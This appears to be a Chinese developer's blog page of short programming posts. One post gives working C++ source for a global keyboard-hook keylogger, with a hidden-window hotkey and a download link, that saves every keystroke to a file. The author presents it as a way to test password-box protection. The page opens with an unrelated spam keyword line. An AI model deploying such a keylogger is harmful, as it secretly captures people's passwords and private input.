一区二区精品,久久激情婷婷,国产综合激情

2月完成對mfe rootkit專殺工具的完整逆向。
3月完成對snort的分析，寫出分析成果。

posted @ 2012-02-16 15:01 Pencil.C++| 編輯收藏

2月完成對mfe rootkit專殺工具的完整逆向。
3月完成對snort的分析，寫出分析成果。

posted @ 2012-02-16 15:01 Pencil.C++| 編輯收藏

    最近在研究反監聽密碼框的開發。做這個東西是為了測試密碼框的效果。用的是WH_KEYBOARD_LL鉤子。我暫時還沒找到防止底層鍵盤全局鉤子的方法。QQ的密碼可以用這種方法監聽到，但是不是明文。不知道它是怎么做到的。
    我也給這個工具做了個隱藏鍵 F4 。
    開發工具是VS2008


鉤子回調函數中的代碼：

1

LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
2

WPARAM wParam,
3

LPARAM lParam
4

)
5

{
6

PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
7

if (nCode<0)
8

{
9

return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
10

}
11

if (HC_ACTION==nCode)
12

{
13

if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
14

{
15

if (VK_F4==kbhs->vkCode)
16

{
17

//先判斷窗口是show or hide
18

m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
19

if (IsWindowVisible(m_hWnd2))
20

{
21

ShowWindow(m_hWnd2,SW_HIDE);
22

return 0;
23

}
24

else
25

{
26

if (NULL==m_hWnd2)
27

{
28

AfxMessageBox(L"查找失??！");
29

return 0;
30

}
31

ShowWindow(m_hWnd2,SW_RESTORE);
32

//UpdateWindow(m_hWnd);
33

BringWindowToTop(m_hWnd);
34

SetForegroundWindow(m_hWnd);
35

return 1;
36

}
37

}
38

39

char c[1];
40

41

c[0]=kbhs->vkCode;
42

43

SaveLog(c);
44

}
45

}
46

return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
47

}

字符保存的代碼：

1

void SaveLog(char* c)
2

{
3

//AfxMessageBox(L"進入存儲程序");
4

CTime tm=CTime::GetCurrentTime();
5

6

CString name;
7

TCHAR* szPath[MAX_PATH];
8

::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
9

CString path=(LPTSTR)szPath;
10

path.Replace(L"\\LogerDll.dll",L"");
11

name.Format(L"\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
12

path+=name;
13

14

15

16

CFile file;
17

18

if(!file.Open(path,CFile::modeReadWrite))
19

20

{
21

22

file.Open(path,CFile::modeCreate|CFile::modeReadWrite);
23

24

}
25

26

file.SeekToEnd();
27

28

file.Write(c,1);
29

30

file.Close();
31

32

33

}

下載地址：http://m.shnenglu.com/Files/pencil/KeyboardLoger.rar

posted @ 2010-01-28 08:43 Pencil.C++ 閱讀(3630) | 評論 (9) | 編輯收藏

香港自助游相關資料收集

辦理港澳通行證。200塊。

機票一般1000/人。來回2人4千塊。

住宿淘寶家庭旅館 50-100一晚。

posted @ 2010-01-15 13:06 Pencil.C++ 閱讀(229) | 評論 (0) | 編輯收藏

魔獸改鍵助手1.2（附VC源代碼）

摘要: 更新內容：

(1)使用全局WH_KEYBOARD_LL 無需使用dll文件。

(2)智能判斷聊天模式，如果正在聊天，則取消改鍵。

(3)改鍵功能只針對war3，不影響其他程序。

(4)支持托盤。

(5)支持1.24版閱讀全文

posted @ 2009-12-14 12:35 Pencil.C++ 閱讀(4135) | 評論 (5) | 編輯收藏

scardsvr 智能卡修復工具原理及代碼

程序有英語簡體中文兩種語言，根據操作系統環境來選擇language.
      代碼下載：http://bilaopao.download.csdn.net/
      開發工具：VS 2008

修復過程分【普通修復】和【強力修復】。
   XP和VISTA/WIN7下的修復操作還是有很多區別的。但基于的原理是一樣的。并且因為Vista/Win7下的Smart Card 服務的scardsvr.exe可執行文件被更改為scardsvr.dll,也就沒有了scardsvr的相關安裝命令。我用dependency查看了下scardsvr.dll，只能看到一個入口函數。能力有限，google了一些資料也沒有結果。就沒分析下去了。

【普通修復】的修復過程（以XP下的修復過程講述，vista/win7下操作請看代碼）：
（1）檢查"智能卡服務"是否為自啟動。并設置其為自啟動。
（2）檢測服務當前狀態是否為SERVICE_RUNNING，并設置其狀態為運行中。
（3）檢測前兩步是否成功，如果成功則向用戶彈出messagebox詢問moveable device功能是否正常。
（4）如果功能仍abnormal,則初步判斷是服務登陸賬戶為非"NT AUTHORITY\LocalService" ，則用CreateProcess來運行 sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= "" ，改變其用戶為localservice(smart card service只有在此登陸賬戶下才正常運行)。

（5）如果在普通修復過程中遇到服務查詢不到等error時，程序自動啟動強力修復來安裝smart card service.

注意：普通修復中的第3，4步中有點問題，在這個地方其實最好是直接檢查服務的登陸賬戶。然后做出相應的動作，但是我這個地方沒有想到實現的辦法。望前輩提示。另外就是sc的命令格式有嚴格的限制，編碼的時候要注意等號后面首先是空格。我當時被這個空格困擾到了。

【強力修復】的修復過程（XP下的修復，vista/win7 下沒有強力修復）
其實強力修復的過程就是網上流傳的那個修復過程，我只不過在這個修復過程中增加了驗證和配置修改。
修復過程：
（1）ScardSvr.exe reinstall
（2）regsvr32.exe SCardssp.dll
（3）sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= ""
（4）通過以上三步之后，剩下的配置修改就跟普通修復過程一樣了。而以上三步通過CreateProcess和WaitForSingleObject來配合控制。

應該差不多了。代碼是半個月前寫的，一些地方可能有疏漏。
在代碼實現中還有很多地方需要注意，我也都在代碼中做出了注釋?？勺孕胁榭?。

如需交流，可mailto:pencil@yeah.net MSN:pencil@yeah.net

posted @ 2009-12-07 20:40 Pencil.C++ 閱讀(1765) | 評論 (0) | 編輯收藏

為exe添加XP風格

今天看改鍵助手的界面太難看，就想換成xp默認風格，方法如下。

manifest文件內容，將這個manifest文件命名為Exe名＋.manifest，如test.exe.manifest

1

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
3

<assemblyIdentity
4

name="XP style manifest"
5

processorArchitecture="x86"
6

version="1.0.0.0"
7

type="win32"/>
8

<dependency>
9

<dependentAssembly>
10

<assemblyIdentity
11

type="win32"
12

name="Microsoft.Windows.Common-Controls"
13

version="6.0.0.0"
14

processorArchitecture="x86"
15

publicKeyToken="6595b64144ccf1df"
16

language="*"
17

/>
18

</dependentAssembly>
19

</dependency>
20

</assembly>

然后用mt.exe綁定 (mt.exe是VS自帶的一個工具?？梢运阉飨?。)

Mt.exe –mainfest test.exe.manifest –outputresource:test.exe;1

1是這個manifest資源的ID.可以有多個manifest資源，但是vista默認使用1。其他的要自己編碼來玩。

posted @ 2009-11-19 10:16 Pencil.C++ 閱讀(487) | 評論 (0) | 編輯收藏

發一個前一段時間寫的小工具VC+Access(附源代碼)

大概的功能就是日期提醒，把通訊錄和日期提醒相結合。

提醒方面做的很差，技術有限。

皮膚用的是Skin++

第一次發，但之前修改過幾次，目前版本0.7

做這個東西完全是因為我個人需要。

是一個多用戶的工具。

有自動升級功能。

應用范圍很窄。

下載地址：http://m.shnenglu.com/Files/pencil/GoodFriendV0.7.rar

源代碼下載：http://m.shnenglu.com/Files/pencil/GoodFriend0.7.src.rar